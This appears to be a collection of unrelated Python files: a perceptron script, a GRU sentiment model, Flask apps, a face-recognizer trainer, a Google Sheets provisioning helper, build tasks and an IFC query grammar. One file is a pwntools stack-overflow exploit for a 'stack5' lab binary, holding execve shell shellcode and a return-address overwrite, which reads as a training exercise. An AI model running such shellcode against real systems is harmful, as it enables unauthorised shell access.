tsl10 = ((caccuracylmbTs / (c1vc2vc3ts.shape[0] / 3))[0]) * 100
tsl11 = ((caccuracylmbTs / (c1vc2vc3ts.shape[0] / 3))[1]) * 100
tsl12 = ((caccuracylmbTs / (c1vc2vc3ts.shape[0] / 3))[2]) * 100
print("Testing       10      ", tsl10, "   ", tsl11, "   ", tsl12, "    \n")

"""Lambda 100"""
# Class 1 vs (Class 2, Class 3)
c1vc2c3lm100 = Perceptron(0.01, 20)
c1vc2c3lm100.trnWreg(c1vrestT, "class-1", 100)

# Class 2 vs (Class 1, Class 3)
c2vc1c3lm100 = Perceptron(0.01, 20)
c2vc1c3lm100.trnWreg(c1vrestT, "class-2", 100)

# Class 3 vs (Class 1, Class 2)
c3vc1c2lm100 = Perceptron(0.01, 20)
c3vc1c2lm100.trnWreg(c3vrestT, "class-3", 100)

# Calculating Testing accuracy
TP = 0
caccuracylmbTs = np.zeros(3)
for point in c1vc2vc3ts:
    score = []
    score.append(c1vc2c3lm100.a_wrg(point[:4]))
    score.append(c2vc1c3lm100.a_wrg(point[:4]))
    score.append(c3vc1c2lm100.a_wrg(point[:4]))
    prediction = np.argmax(score) + 1
    if prediction == int(point[4]):
        caccuracylmbTs[int(point[4]) - 1] += 1
        TP += 1

# Calculating Training accuracy
caccuracylmbTr = np.zeros(3)
for point in c1vc2vc3tr:
    score = []
    score.append(c1vc2c3lm100.a_wrg(point[:4]))
    score.append(c2vc1c3lm100.a_wrg(point[:4]))
    score.append(c3vc1c2lm100.a_wrg(point[:4]))
    prediction = np.argmax(score) + 1
    if prediction == int(point[4]):
        caccuracylmbTr[int(point[4]) - 1] += 1
        TP += 1

trnl13 = ((caccuracylmbTr / (c1vc2vc3tr.shape[0] / 3))[0]) * 100
trnl14 = ((caccuracylmbTr / (c1vc2vc3tr.shape[0] / 3))[1]) * 100
trnl15 = ((caccuracylmbTr / (c1vc2vc3tr.shape[0] / 3))[2]) * 100
print("Training      100     ", trl10, "   ", trl11, "   ", trl12, "   ")
tsl13 = ((caccuracylmbTs / (c1vc2vc3ts.shape[0] / 3))[0]) * 100
tsl14 = ((caccuracylmbTs / (c1vc2vc3ts.shape[0] / 3))[1]) * 100
tsl15 = ((caccuracylmbTs / (c1vc2vc3ts.shape[0] / 3))[2]) * 100
print("Testing       100     ", tsl10, "   ", tsl11, "   ", tsl12, "    \n")

# In[ ]:

# In[ ]:

# In[ ]:


import torch
import torch.nn as nn
import torch.optim as optim
import torch.nn.functional as F
from torch.utils.data import Dataset, DataLoader
from torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence
from torch.autograd import Variable
from sklearn.utils import resample
from sklearn.model_selection import StratifiedShuffleSplit, train_test_split
from sklearn.metrics import accuracy_score

import warnings
warnings.filterwarnings('ignore')

import string
from nltk.corpus import stopwords

df = pd.read_csv('train.tsv', error_bad_lines=False, sep='\t')

df.head()
# load spacy tokenizer
nlp = spacy.load('en',disable=['parser', 'tagger', 'ner'])

import string
punctuations = string.punctuation

stopwords = stopwords.words('english')
punctuations = punctuations + '--'+ "'"
def cleanup_text(docs, logging=False):
    texts = []
    doc = nlp(docs, disable=['parser', 'ner'])
    tokens = [tok.lemma_.lower().strip() for tok in doc if tok.lemma_ != '-PRON-']
    tokens = [tok for tok in tokens if tok not in stopwords and tok not in punctuations]
    tokens = [tok.replace("'","") for tok in tokens ]
    tokens = ' '.join(tokens)
    return tokens

def indexer(s):  return [word2idx[w.text.lower()] for w in nlp(s)]

df['SentimentTxt'] = df.Phrase.apply(cleanup_text)
# build vocabulary and corresponding counts
words = Counter()
for sent in tqdm(df.SentimentTxt.values):
    words.update(w.text.lower() for w in nlp(sent))

words = sorted(words, key=words.get, reverse=True)
word2idx = {o:i for i,o in enumerate(words)}
idx2word = {i:o for i,o in enumerate(words)}

class VectorizeData(Dataset):
    def __init__(self, df_path, maxlen=215):
        self.maxlen = maxlen
        self.df = pd.read_csv(df_path, error_bad_lines=False,sep='\t')
        self.df = df.dropna()
        print(df.columns)
        self.df['SentimentText'] = self.df.Phrase.progress_apply(cleanup_text)

        print('Indexing...')
        self.df['sentimentidx'] = self.df.SentimentText.progress_apply(indexer)
        print('Calculating lengths')
        self.df['lengths'] = self.df.sentimentidx.progress_apply(lambda x: self.maxlen if len(x) > self.maxlen else len(x))
        print('Padding')
        self.df['sentimentpadded'] = self.df.sentimentidx.progress_apply(self.pad_data)

    def __len__(self):
        return self.df.shape[0]

    def __getitem__(self, idx):
        X = self.df.sentimentpadded[idx]
        lens = self.df.lengths[idx]
        y = self.df.Sentiment[idx]
        return X,y,lens

    def pad_data(self, s):
        padded = np.zeros((self.maxlen,), dtype=np.int64)
        if len(s) > self.maxlen: padded[:] = s[:self.maxlen]
        else: padded[:len(s)] = s
        return padded

# create instance of custom dataset

ds_train = VectorizeData('down_sample_training.tsv')
ds_val = VectorizeData('down_sample_validating.tsv')

#initiliazation
vocab_size = len(words)
embedding_dim = 4
n_hidden = 5
n_out = 5

class SimpleGRU(nn.Module):
    def __init__(self, vocab_size, embedding_dim, n_hidden, n_out):
        super().__init__()
        self.vocab_size,self.embedding_dim,self.n_hidden,self.n_out = vocab_size, embedding_dim, n_hidden, n_out
        self.emb = nn.Embedding(self.vocab_size, self.embedding_dim)
        self.gru = nn.GRU(self.embedding_dim, self.n_hidden)
        self.out = nn.Linear(self.n_hidden, self.n_out)

    def forward(self, seq, lengths, gpu=True):
        print('Sequence shape',seq.shape)
        print('Lengths',lengths)
        bs = seq.size(1) # batch size
        print('batch size', bs)
        self.h = self.init_hidden(bs, gpu) # initialize hidden state of GRU
        print('Inititial hidden state shape', self.h.shape)
        embs = self.emb(seq)
        embs = pack_padded_sequence(embs, lengths) # unpad, pack the batch
        gru_out, self.h = self.gru(embs, self.h) # gru returns hidden state of all timesteps as well as hidden state at last timestep
        gru_out, seq_lengths = pad_packed_sequence(gru_out) # pad the sequence to the max length in the batch
        print('GRU output(all timesteps)', gru_out.shape)
        print(gru_out)
        print('GRU last timestep output')
        print(gru_out[-1])
        print('Last hidden state', self.h)
        # since it is as classification problem, we will grab the last hidden state
        outp = self.out(self.h[-1]) # self.h[-1] contains hidden state of last timestep
        return F.log_softmax(outp, dim=-1)

    def init_hidden(self, batch_size, gpu):
        if gpu: return Variable(torch.zeros((1,batch_size,self.n_hidden)).cuda())
        else: return Variable(torch.zeros((1,batch_size,self.n_hidden)))

m = SimpleGRU(vocab_size, embedding_dim, n_hidden, n_out)
print(m)

#Function to sort the batch according to Phrase lengths¶
def sort_batch(X, y, lengths):
    lengths, indx = lengths.sort(dim=0, descending=True)
    X = X[indx]
    y = y[indx]
    return X.transpose(0,1), y, lengths # transpose (batch x seq) to (seq x batch)

"""
TRainig the model
"""
def replaced(sequence, old, new):
    return (new if x == old else x for x in sequence)
def fit(model, train_dl, val_dl, loss_fn, opt, epochs=3):
    num_batch = len(train_dl)
    for epoch in tnrange(epochs):
        y_true_train = list()
        y_pred_train = list()
        total_loss_train = 0

        if val_dl:
            y_true_val = list()
            y_pred_val = list()
            total_loss_val = 0

        t = tqdm_notebook(iter(train_dl), leave=False, total=num_batch)
        for X,y, lengths in t:
            t.set_description(f'Epoch {epoch}')
            X,y,lengths = sort_batch(X,y,lengths)
            X = Variable(X.cuda())
            y = Variable(y.cuda())
            lengths = list(replaced(lengths, 0, 1))
            #lengths = lengths.numpy()

            opt.zero_grad()
            pred = model(X, lengths, gpu=True)
            loss = loss_fn(pred, y)
            loss.backward()
            opt.step()

            t.set_postfix(loss=loss.item())
            pred_idx = torch.max(pred, dim=1)[1]

            y_true_train += list(y.cpu().data.numpy())
            y_pred_train += list(pred_idx.cpu().data.numpy())
            total_loss_train += loss.item()

        train_acc = accuracy_score(y_true_train, y_pred_train)
        train_loss = total_loss_train/len(train_dl)
        print(f' Epoch {epoch}: Train loss: {train_loss} acc: {train_acc}')

        if val_dl:
            for X,y,lengths in tqdm_notebook(val_dl, leave=False):
                X, y,lengths = sort_batch(X,y,lengths)
                X = Variable(X.cuda())
                y = Variable(y.cuda())
                lengths = list(replaced(lengths, 0, 1))
                pred = model(X, lengths)
                loss = loss_fn(pred, y)
                pred_idx = torch.max(pred, 1)[1]
                y_true_val += list(y.cpu().data.numpy())
                y_pred_val += list(pred_idx.cpu().data.numpy())
                total_loss_val += loss.item()
            valacc = accuracy_score(y_true_val, y_pred_val)
            valloss = total_loss_val/len(val_dl)
            print(f'Val loss: {valloss} acc: {valacc}')
    return y_pred_train, y_true_train, train_acc, valacc ,total_loss_train

train_dl = DataLoader(ds_train, batch_size=50)

val_dl = DataLoader(ds_val, batch_size=50)

m = SimpleGRU(vocab_size, embedding_dim, n_hidden, n_out).cuda()
opt = optim.Adam(m.parameters(), 1e-2)

pred, real, trainAcc, testAcc , total_loss_train = fit(model=m, train_dl=train_dl, val_dl=val_dl, loss_fn=F.nll_loss, opt=opt, epochs=20)
torch.save(m.state_dict(), "./gru_model_sampled_cleanTXT.pth")

print(trainAcc, testAcc)


from flask import render_template, url_for, flash, redirect, request
from game import app, db
from game import app
from game.forms import AnswerForm, IdForm
from game.models import AnsweredForm
from sentence_comparison import *

questions = [
    'what is your name',
    'how old are you',
    'where do you come from',
    'what are your hobbies',
    'do you like python programming',
    'what is the best programming language in the world',
    'are you willing to be a web developer in the future',
    'can you use flask',
    'talk about randomization algorithm'
]

posts = [
    {
        'author': 'Corey Schafer',
        'title': 'Blog Post1',
        'content': 'First post content',
        'date_posted': 'April 20, 2018'
    },
    {
        'author': 'Jane Doe',
        'title': 'Blog Post2',
        'content': 'Second post content',
        'date_posted': 'April 21, 2018'
    }
]

wanted_id = 0

@app.route("/")
def home():
    return render_template('home.html', posts=posts)

@app.route("/answer", methods=['GET', 'POST'])
def answer():
    form = AnswerForm()
    if form.validate_on_submit():
        af = AnsweredForm(question1=form.question1.data, question2=form.question2.data, question3=form.question3.data, question4=form.question4.data, question5=form.question5.data, question6=form.question6.data)
        db.session.add(af)
        db.session.commit()
        flash('Your answer has been submitted! Here is your answer!', 'success')
        return redirect(url_for('youranswer'))
    return render_template('answer.html', title='Give Your Answers', form=form)

@app.route("/youranswer", methods=['GET', 'POST'])
def youranswer():
    af = AnsweredForm.query.order_by(-AnsweredForm.id).first()

    return render_template('youranswer.html', title='Your Answer', af=af)

@app.route("/enterid", methods=['GET', 'POST'])
def enterid():
    form = IdForm()
    if request.method == 'POST' and form.validate():
        global wanted_id
        wanted_id = int(request.form['id'])
        exists = bool(AnsweredForm.query.filter_by(id=wanted_id).first())
        if exists:
            flash('Start guessing!', 'success')
            return redirect(url_for('guess'))
        else:
            flash('ID does not exist. Please check again.', 'danger')
    return render_template('enterid.html', title='Enter A Form ID', form=form)

@app.route("/guess", methods=['GET', 'POST'])
def guess():
    form = AnswerForm()
    if form.validate_on_submit():
        af = AnsweredForm(question1=form.question1.data, question2=form.question2.data, question3=form.question3.data, question4=form.question4.data, question5=form.question5.data, question6=form.question6.data)
        db.session.add(af)
        db.session.commit()
        flash("Your answer has been submitted! Here are your guess and your friend's original answer!", 'success')
        return redirect(url_for('yourresult'))
    return render_template('guess.html', title='Have a Guess', form=form)

@app.route("/yourresult", methods=['GET', 'POST'])
def yourresult():
    af1 = AnsweredForm.query.filter_by(id=wanted_id).first()
    af2 = AnsweredForm.query.order_by(-AnsweredForm.id).first()
    score1 = scom(af1.question1, af2.question1, difficulty = 3)
    score2 = scom(af1.question2, af2.question2, difficulty = 3)
    score3 = scom(af1.question3, af2.question3, difficulty = 3)
    score4 = scom(af1.question4, af2.question4, difficulty = 3)
    score5 = scom(af1.question5, af2.question5, difficulty = 3)
    score6 = scom(af1.question6, af2.question6, difficulty = 3)
    score = (score1 + score2 + score3 + score4 +score5 + score6) / 6

    return render_template('yourresult.html', title='Your Result', af1=af1, af2=af2, wanted_id=wanted_id, score = score)


import os
import numpy as np
import cv2
from PIL import Image

recognizer = cv2.face.LBPHFaceRecognizer_create()

path = '.\Faces\subhs'

def list_img(path):

	img_path = [ os.path.join(path, f) for f in os.listdir(path) ]

	faces = []
	IDs = []

	for img in img_path:

		face=Image.open(img).convert('L')

		face = np.array(face, 'uint8')

		ID = int(os.path.split(img)[-1].split(".")[0])

		faces.append(face)
		IDs.append(ID)

	# print(faces)
	# print(IDs)
	return np.array(IDs), faces

Ids, faces1 = list_img(path)

# print(Ids)
# print(faces)

recognizer.train(faces1,Ids)

recognizer.write('trainr.yml')


from __future__ import print_function
from apiclient.discovery import build
from httplib2 import Http
from oauth2client import file, client, tools
from oauth2client import clientsecrets
import datetime
from apiclient import discovery
import getpass
import googleapiclient.errors
from project import GoogleDriveV3

newLine = 9
resultGlobal = None

def writeHeaderColumnNamesToSheet(SPREADSHEET_ID, service, email, configMap):

    range1 = 'A1:H14'
    range2 = 'A8:P20'
    values1 = [
        [
            'New Hire/Exit IT Systems Access\n',
            '\n'
            'The following systems require action taken when a new hire is onboarded or when there is an employee exit.  Please clone per new hire or exit.\n',
            "If you want to add more columns into the table, please, follow the instructions in the README.md file https://github.com/Signiant/External-user-provisioning\n",
            "Email:  " + email,
            "AD Login:  " + email.split('@', 1)[0],
            "\n",
        ],
    ]

    values2 = [
        [
            'Plugin:tag', 'Success (add)', 'Log Message (add)','Update Method', 'User Created', 'Date In', 'Admin', 'Date Out', 'Admin', 'Success (remove)', 'Log Message (remove)',
        ],
    ]

    data = [
        {
            'range': range1,
            'values': values1,
            'majorDimension': "COLUMNS",
        },
        {
            'range': range2,
            'values': values2,
            'majorDimension': "ROWS",
        },
    ]

    body = {
        'valueInputOption': "RAW",
        'data': data
    }

    cont = True

    try:
        service.spreadsheets().values().batchUpdate(spreadsheetId=SPREADSHEET_ID, body=body).execute()

    except googleapiclient.errors.HttpError:
        print("Error. Could not create a spreadsheet for a user " + email + ". The value list might be out of index range ")
        print("\nFirst set of values is: ")
        print(values1)
        print("for range: " + range1)
        print("Second set: " )
        print(values2)
        print("for range: " + range2)
        cont =  False

    if cont:
        writeIDandNameToList(configMap, email.split('@', 1)[0], SPREADSHEET_ID, service)

# this method will write names and ids of every spreadsheet created for a user
# into the list
def writeIDandNameToList(configMap, fileName, fileID, service):

    rangeRow = 'A1:D1000'

    values1 = [
        [
            fileName, fileID,
        ],
    ]

    body = {
        'values': values1,
    }
    try:
        service.spreadsheets().values().append(
            spreadsheetId = configMap['spreadsheet_database']['id'], range=rangeRow,
            valueInputOption="RAW", body=body).execute()

    except googleapiclient.errors.HttpError:
        print("Error. User information was not updated in the list spreadsheet. The value list might be out of index range ")
        print("\nThe values are: ")
        print(values1)
        print("The range is: " + rangeRow)

def writeRowsToSheetToAddUser(credentials, SPREADSHEET_ID, email, plugin_tag, log, success):

    global newLine
   # credentials = getCredentials()
    service = getService(credentials)
    now = datetime.datetime.now()
    #to add each plugin at a new line of a sheet
    rangeRow = 'A'+str(newLine)+':W1000'

    values1 = [
        [
            plugin_tag, success, log, 'Tool', email.split('@', 1)[0], now.strftime("%Y-%m-%d %H:%M"), getpass.getuser(),
        ],
    ]

    data = [
        {
            'range': rangeRow,
            'values': values1,
            'majorDimension': "ROWS",
        },
    ]

    body = {
        'valueInputOption': "RAW",
        'data': data
    }

    try:

        service.spreadsheets().values().batchUpdate(spreadsheetId=SPREADSHEET_ID, body=body).execute()

    except googleapiclient.errors.HttpError:
        print("Error. User " + email + " information was not added to the spreadsheet. The value list might be out of index range ")
        print("\nThe values are: ")
        print(values1)
        print("The range is: " + rangeRow)
        return False

    newLine+=1

    return True

def writeRowsToSheetToRemoveUser(credentials, SPREADSHEET_ID, log, success, plugin_tag):

    global newLine
  #  credentials = getCredentials()
    service = getService(credentials)
    now = datetime.datetime.now()
    rangeRow = 'A'+str(newLine)+':W1000'
    global resultGlobal

    try:
        #initialize it only ones
        if resultGlobal is None:
        # gets all the data from the entry file and store it globally so that every plugin has access to it.
            resultGlobal = service.spreadsheets().values().get(spreadsheetId=SPREADSHEET_ID, range= 'A1:W1000').execute()

    except googleapiclient.errors.HttpError:
        print("Could not connect to the spreadsheetList file. Possible reasons:"
              "\n Errors in config file"
              "\n Internet connection problems"
              "\n File does not exist")
        return None

    # gets all the rows of the entry file
    numRows = resultGlobal.get('values') if resultGlobal.get('values') is not None else 0

    # search nested lists of the file for the values equal to the plugin_tag being passed
    foundRow = search_nested(numRows, plugin_tag)

    #if the plugin tag is not found, appends new line with the tag name and remove info
    if foundRow == None:

        values1 = [
            [
                plugin_tag, " ", " ", " ", " ", " ", " ", now.strftime("%Y-%m-%d %H:%M"),
                getpass.getuser(), success, log
            ],
        ]
    #if it's found, takes the existing values + new values and appends new row
    else:

        values1 = [
            [
                foundRow[0], foundRow[1],foundRow[2], foundRow[3],
                foundRow[4], foundRow[5], foundRow[6], now.strftime("%Y-%m-%d %H:%M"), getpass.getuser(), success, log
            ],
        ]

    data = [
        {
            'range': rangeRow,
            'values': values1,
            'majorDimension': "ROWS",
        },
    ]

    body = {
        'valueInputOption': "RAW",
        'data': data
    }

    try:
        service.spreadsheets().values().batchUpdate(spreadsheetId=SPREADSHEET_ID, body=body).execute()

    except googleapiclient.errors.HttpError:
        print("User information could not be updated in the spreadsheet, because \nthe spreadsheet does not exist or the value list might be out of index range ")
        print("\nThe values are: ")
        print(values1)
        print("The range is: " + rangeRow)

        return False

    newLine += 1

    return True

#creates a google spreadsheet with the header, user name and email and column names
def initialize(email, credentials, configMap, arg):

   # credentials = getCredentials()
    service = getService(credentials)
    if service is None:
        return None
    else:
        fileName = email.split('@', 1)[0]

        if 'spreadsheet_database' in configMap:
            spreadSheetDatabase_ID = configMap['spreadsheet_database']['id']
        else:
            print("Spreadsheet_database section is missing in your config file")
            return None

        #looks for a value in the spreadsheet list
        foundRow = findSpecificEntryInAllRows(service, spreadSheetDatabase_ID, fileName)

        #if the name is found, return ID of that spreadsheet
        if foundRow:
            return foundRow[1]
        #if not, it creates a new spreadsheet
        else:
            #if you need to add a user, new spreadsheet will be created
            if arg == 'add':

                SHEETS = discovery.build('sheets', 'v4', http=credentials.authorize(Http()))
                data = {'properties': {'title': fileName}}

                try:
                    #create spreadsheet
                    sheetCreated = SHEETS.spreadsheets().create(body=data).execute()

                except googleapiclient.errors.HttpError:
                    print("Could not create new spreadsheet for a user " + email)
                    return None

                SPREADSHEET_ID = sheetCreated['spreadsheetId']

                if 'spreadsheet_database' in configMap:
                    folderID = configMap['spreadsheet_database']['folderID']
                else:
                    print("Spreadsheet_database section is missing in your config file")
                    return None

                googleDriveServiceV3 = GoogleDriveV3.buildService()

                if googleDriveServiceV3:
                    newFolder = GoogleDriveV3.moveFileToFolder(SPREADSHEET_ID, folderID, googleDriveServiceV3)

                    if newFolder == None:
                        print("File was not moved to the expected folder. It was created in the authorized google drive account")
                else:
                    print("Could not authorize the user")

                # writes header data to a spreadsheet:
                writeHeaderColumnNamesToSheet(SPREADSHEET_ID, service, email, configMap)

                #returns the ID of the new spreadsheet
                return SPREADSHEET_ID
            # if you need to remove a user, but the spreadsheet does not exists, returns None
            else:
                return None

def getService(creds):

    service = None
    try:
        service = build('sheets', 'v4', http=creds.authorize(Http()))

    except AttributeError:
        print("client_secret.json is missing from your project")

    return service

# def getCredentials():
#    # CLIENT_SECRETS_FILE = "\client_secrets.json"
#
#     # Full, permissive scope to access all of a user's files
#     SCOPES = 'https://www.googleapis.com/auth/drive'
#     store = file.Storage('project/credentials.json')
#     creds = store.get()
#     if not creds or creds.invalid:
#         try:
#             flow = client.flow_from_clientsecrets("client_secret.json", SCOPES)
#             flags = tools.argparser.parse_args(args=['--noauth_local_webserver'])
#             #flags = tools.argparser.parse_args(args=[])
#             creds = tools.run_flow(flow, store, flags)
#
#         except clientsecrets.InvalidClientSecretsError:
#             print('The client secrets were missing or invalid: ')
#         except client.UnknownClientSecretsFlowError:
#             print('This OAuth 2.0 flow is unsupported')
#         except client.Error:
#             print('Unexpected Error')
#
#     return creds

#this function will search through every row in the list and return a value if it is equal to the value of a first cell
def findSpecificEntryInAllRows(service, SPREADSHEET_ID, searchValue):

    try:
        # gets the database spreadsheet
        result = service.spreadsheets().values().get(spreadsheetId=SPREADSHEET_ID, range= 'A1:W1000').execute()

    except googleapiclient.errors.HttpError:
        print("Could not connect to the spreadsheetList file. Possible reasons:"
              "\n Errors in config file"
              "\n Internet connection problems"
              "\n File does not exist")
        return None

    # gets all the rows of the database (the section where the user was added)
    numRows = result.get('values') if result.get('values') is not None else 0

    if numRows == 0:
        writeNameAndIDtoDatabaseSpreadsheet(service, SPREADSHEET_ID)

    # search nested lists of the database for the values equal to the plugin_tag being removed
    foundRow = search_nested(numRows, searchValue)

    # if the name is found, return ID of that spreadsheet
    if foundRow:
        return foundRow
    else:
        return None

# This function will search each cell of mylist for val and if found will return entire row
def search_nested(mylist, val):

    if not mylist:
        print("The spreadsheet is empty")
        return None
    else:

        for i in range(len(mylist)):
            for j in range(len(mylist[i])):
                if mylist[i][j] == val:
                    return mylist[i]

def writeNameAndIDtoDatabaseSpreadsheet(service, SPREADSHEET_ID):

    rangeRow = 'A1:D1000'

    values1 = [
        [
            "Name", "ID",
        ],
    ]

    body = {
        'values': values1,
    }
    try:
        service.spreadsheets().values().append(
            spreadsheetId=SPREADSHEET_ID, range=rangeRow,
            valueInputOption="RAW", body=body).execute()

    except googleapiclient.errors.HttpError:
        print(
            "Error. Name and ID values were not updated in the database list spreadsheet. The value list might be out of index range ")
        print("\nThe values are: ")
        print(values1)
        print("The range is: " + rangeRow)

# automatically resize columns
# https://developers.google.com/sheets/api/samples/rowcolumn


#!/usr/bin/python3
from pwn import *

#context.log_level = 'DEBUG'
context.binary = ELF('./stack5')
p = process()

payload = b'\x90'*30
payload += b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'
payload += b'A'*(76-len(payload))
payload += b'\x8c\xd5\xff\xff'

p.send(payload)
#open('payload_5','wb').write(payload)
p.interactive()

# this payload not working while running this script
# so uncomment 14th line and run
# (cat payload_5;cat) | ./stack5
# this command


from flask import Flask, jsonify, request
from flask_restful import Api, Resource
import pickle
import torch
from flask_cors import CORS, cross_origin

app = Flask(__name__)
api = Api(app)

cors = CORS(app)
app.config['CORS_HEADERS'] = 'Content-Type'

#Movie names list:
file = open('data/movies.pkl','rb')
movies = pickle.load(file)
file.close()

#Embeddings as a tensor for the movies:
file = open('data/movie_factors_tensor.pkl','rb')
movie_factors = pickle.load(file)
file.close()

class Search(Resource):
    @cross_origin()
    def post(self):
        #Get posted data
        postedData = request.get_json()
        #Get the data
        target = str(postedData["target"])
        numMaxReturn = postedData["max"]
        #Get elements:
        res = [s for s in movies if target in s.lower()]
        if len(res)>numMaxReturn:
            res = res[:numMaxReturn]
        #Return the response (message will be a string array)
        retJson = {
            "message": res,
            "status": 200,
        }
        return jsonify(retJson)

class Mix(Resource):
    @cross_origin()
    def post(self):
        #Get posted data
        postedData = request.get_json()
        #Get the data
        selectedMovies = postedData["selectedMovies"]
        ratios = postedData["ratios"]
        numRec = int(postedData["numRec"])

        #Get ids of selectedMovies:
        idxs = [movies.index(m) for m in selectedMovies]

        #Create the cocktail embedding:
        cocktailEmbd = torch.zeros([1,100])
        for i,idx in enumerate(idxs):
            rawEmbd = movie_factors[idx][None]
            embd = ratios[i]*rawEmbd
            cocktailEmbd = torch.add(cocktailEmbd,embd)

        #Find the distance of each movie to the cocktail:
        dists = torch.cdist(movie_factors,cocktailEmbd) # [60k,1]
        #Transform this tensor to a list:
        distsList = dists.tolist()
        distsList = [j for sub in distsList for j in sub]

        #Add ids to the distsList and sort it:
        indexedDistsList = [(idx,dist) for idx,dist in enumerate(distsList)]
        sortedDistances = sorted(indexedDistsList, key=lambda tup: tup[1])

        #Avg dist from cocktail to other movies:
        avgDistFromCocktail = round(torch.mean(torch.cdist(movie_factors,cocktailEmbd)).item(),2)

        recMovies = []
        avgDistsOfRecMovies2Cocktail = []
        avgDistsOfRecMovies2Others = []
        #Find the closest movies to the cocktail:
        for i in range(numRec):
            recMovies.append(movies[sortedDistances[i][0]])
            avgDistsOfRecMovies2Cocktail.append(round(sortedDistances[i][1],2))
            avgDistsOfRecMovies2Others.append(round(torch.mean(torch.cdist(movie_factors,movie_factors[sortedDistances[i][0]][None])).item(),2))

        #Return the response (message will be a string array)
        retJson = {
            "avgDistFromCocktail": avgDistFromCocktail,
            "recMovies": recMovies,
            "avgDistsOfRecMovies2Cocktail": avgDistsOfRecMovies2Cocktail,
            "avgDistsOfRecMovies2Others": avgDistsOfRecMovies2Others,
            "status": 200
        }
        return jsonify(retJson)

api.add_resource(Search,"/search")
api.add_resource(Mix,"/mix")

if __name__ == "__main__":
    app.run(host='0.0.0.0')


import re
from pathlib import Path

from invoke import Exit, task

@task
def release(ctx):
    toml = Path("pyproject.toml").read_text()
    match = re.search(r'version = "(.*?)"', toml)
    if match:
        version = match.group(1)
        print(f"Releasing {version}")
        ctx.run(f"git tag {version}", echo=True)
        ctx.run(f"git push origin {version}", echo=True)
    else:
        print("Failed to find version in the pyproject.toml")

def run_test_cmd(ctx, cmd) -> int:
    print("=" * 79)
    print(f"> {cmd}")
    return ctx.run(cmd, warn=True).exited

@task
def test(ctx):
    failed_commands = []

    # Uncomment when moved away from Travis. Now it fails without clear reason
    # if run_test_cmd(ctx, "pre-commit run --all-files"):
    #     failed_commands.append("Pre commit hooks")

    if run_test_cmd(ctx, "mypy openapi_to_fastapi"):
        failed_commands.append("Mypy")

    if run_test_cmd(ctx, "pytest"):
        failed_commands.append("Unit tests")

    if run_test_cmd(ctx, "flake8"):
        failed_commands.append("flake8")

    if failed_commands:
        msg = "Errors: " + ", ".join(failed_commands)
        raise Exit(message=msg, code=len(failed_commands))


import re
import lark
import ifcopenshell.util
import ifcopenshell.util.fm
import ifcopenshell.util.element
import ifcopenshell.util.classification

filter_elements_grammar = lark.Lark("""start: filter_group
    filter_group: facet_list ("+" facet_list)*
    facet_list: facet ("," facet)*

    facet: instance | entity | attribute | type | material | property | classification | location

    instance: not? globalid
    globalid: /[0-3][a-zA-Z0-9_$]{21}/
    entity: not? ifc_class
    attribute: attribute_name comparison value
    type: "type" comparison value
    material: "material" comparison value
    property: pset "." prop comparison value
    classification: "classification" comparison value
    location: "location" comparison value

    pset: quoted_string | unquoted_string | regex_string
    prop: quoted_string | unquoted_string | regex_string

    attribute_name: /[A-Z]\\w+/
    ifc_class: /Ifc\\w+/

    value: special | quoted_string | unquoted_string | regex_string
    unquoted_string: /[^.=\\s]+/
    quoted_string: ESCAPED_STRING
    regex_string: "/" /[^\\/]+/ "/"

    special: null | true | false

    comparison: not? equals
    not: "!"
    equals: "="
    null: "NULL"
    true: "TRUE"
    false: "FALSE"

    // Embed common.lark for packaging
    DIGIT: "0".."9"
    HEXDIGIT: "a".."f"|"A".."F"|DIGIT
    INT: DIGIT+
    SIGNED_INT: ["+"|"-"] INT
    DECIMAL: INT "." INT? | "." INT
    _EXP: ("e"|"E") SIGNED_INT
    FLOAT: INT _EXP | DECIMAL _EXP?
    SIGNED_FLOAT: ["+"|"-"] FLOAT
    NUMBER: FLOAT | INT
    SIGNED_NUMBER: ["+"|"-"] NUMBER
    _STRING_INNER: /.*?/
    _STRING_ESC_INNER: _STRING_INNER /(?<!\\\\)(\\\\\\\\)*?/
    ESCAPED_STRING : "\\"" _STRING_ESC_INNER "\\""
    LCASE_LETTER: "a".."z"
    UCASE_LETTER: "A".."Z"
    LETTER: UCASE_LETTER | LCASE_LETTER
    WORD: LETTER+
    CNAME: ("_"|LETTER) ("_"|LETTER|DIGIT)*
    WS_INLINE: (" "|/\\t/)+
    WS: /[ \\t\\f\\r\\n]/+
    CR : /\\r/
    LF : /\\n/
    NEWLINE: (CR? LF)+

    %ignore WS // Disregard spaces in text
""")

get_element_grammar = lark.Lark("""start: WORD | ESCAPED_STRING | keys_regex | keys_quoted | keys_simple
    keys_regex: "r" ESCAPED_STRING ("." ESCAPED_STRING)*
    keys_quoted: ESCAPED_STRING ("." ESCAPED_STRING)*
    keys_simple: /[^\\W][^.=<>!%*\\]]*/ ("." /[^\\W][^.=<>!%*\\]]*/)*

    // Embed common.lark for packaging
    _STRING_INNER: /.*?/
    _STRING_ESC_INNER: _STRING_INNER /(?<!\\\\)(\\\\\\\\)*?/
    ESCAPED_STRING : "\\"" _STRING_ESC_INNER "\\""
    LCASE_LETTER: "a".."z"
    UCASE_LETTER: "A".."Z"
    LETTER: UCASE_LETTER | LCASE_LETTER
    WORD: LETTER+
    WS: /[ \\t\\f\\r\\n]/+

    %ignore WS // Disregard spaces in text
 """)

def get_element_value(element, query):
    start = get_element_grammar.parse(query)
    filter_query = Selector.parse_filter_query(start.children[0])
    return Selector.get_element_value(element, filter_query["keys"], filter_query["is_regex"])

def filter_elements(ifc_file, query, elements=None):
    transformer = FacetTransformer(ifc_file, elements)
    transformer.transform(filter_elements_grammar.parse(query))
    return transformer.get_results()
    return transformer.elements

class FacetTransformer(lark.Transformer):
    def __init__(self, ifc_file, elements):
        self.file = ifc_file
        self.results = []
        self.elements = elements or set()
        self.container_parents = {}
        self.container_trees = {}

    def get_results(self):
        results = set()
        for r in self.results:
            results |= r
        return results

    def facet_list(self, args):
        if self.elements:
            self.results.append(self.elements)
            self.elements = set()

    def instance(self, args):
        if args[0].data == "globalid":
            self.elements.add(self.file.by_guid(args[0].children[0].value))
        else:
            self.elements.remove(self.file.by_guid(args[1].children[0].value))

    def entity(self, args):
        if args[0].data == "ifc_class":
            self.elements |= set(self.file.by_type(args[0].children[0].value))
        else:
            self.elements -= set(self.file.by_type(args[1].children[0].value))

    def attribute(self, args):
        name, comparison, value = args
        name = name.children[0].value

        def filter_function(element):
